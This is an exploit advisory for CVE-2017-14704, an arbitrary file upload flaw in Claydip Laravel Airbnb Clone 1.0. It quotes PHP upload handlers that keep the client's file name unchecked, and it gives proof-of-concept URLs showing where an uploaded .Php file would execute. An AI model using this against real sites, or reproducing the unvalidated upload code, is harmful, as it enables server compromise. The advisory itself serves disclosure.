Claydip Airbnb Clone 1.0 Arbitrary File Upload

`# # # # #   
# Exploit Title: Claydip Laravel Airbnb Clone 1.0 - Arbitrary File Upload  
# Dork: N/A  
# Date: 22.09.2017  
# Vendor Homepage: https://www.claydip.com/  
# Software Link: https://www.claydip.com/airbnb-clone.html  
# Demo: https://www.claydip.com/airbnb_demo.html  
# Version: N/A  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2017-14704  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
#   
# The vulnerability allows an users upload arbitrary file....  
#   
# Vulnerable Source:  
#  
# .............1  
# public function imageSubmit(Request $request)  
# {  
$this->validate($request, [  
'image' => 'image|mimes:jpeg,png,jpg,gif,svg|max:2048',  
]);  
# if ($request->hasFile('profile_img_name')) {  
# $file = $request->file('profile_img_name');  
# //getting timestamp  
# $timestamp = str_replace([' ', ':'], '-', Carbon::now()->toDateTimeString());  
# $img_name = $timestamp. '-' .$file->getClientOriginalName();  
# //$image->filePath = $img_name;  
# $file->move(public_path().'/images/profile', $img_name);  
# $postData = array('profile_img_name' => $img_name, 'profile_photo_approve' => 0);  
# $user = $this->userRepository->updateUser($postData);  
# flash('Profile Image Updated Successfully', 'success');  
# if($request->get('uploadpage') == 2) {  
# return \Redirect::to('user/edit/uploadphoto');  
# }  
# return \Redirect::to('user/dashboard');  
# }  
#  
# }  
# .............2  
# public function proof_submit(Request $request)  
# {  
# if ($request->hasFile('profile_img_name')) {  
# $file = $request->file('profile_img_name');  
# //getting timestamp  
# $timestamp = str_replace([' ', ':'], '-', Carbon::now()->toDateTimeString());  
# $img_name = $timestamp. '-' .$file->getClientOriginalName();  
# //$image->filePath = $img_name;  
# $file->move(public_path().'/images/proof', $img_name);  
# $postData = array('idproof_img_src' => $img_name, 'id_proof_approved' => 0);  
# $user = $this->userRepository->updateUser($postData);  
# flash('Proof Updated Successfully', 'success');  
# return \Redirect::to('user/edit/uploadproof');  
# }  
#  
# }  
# .............  
#  
# Proof of Concept:   
#   
# http://localhost/[PATH]/user/edit/uploadphoto  
# http://localhost/[PATH]/user/edit/uploadproof  
#   
# http://localhost/[PATH]/images/profile/[$timestamp].Php  
#   
# Etc..  
# # # # #  
  
  
`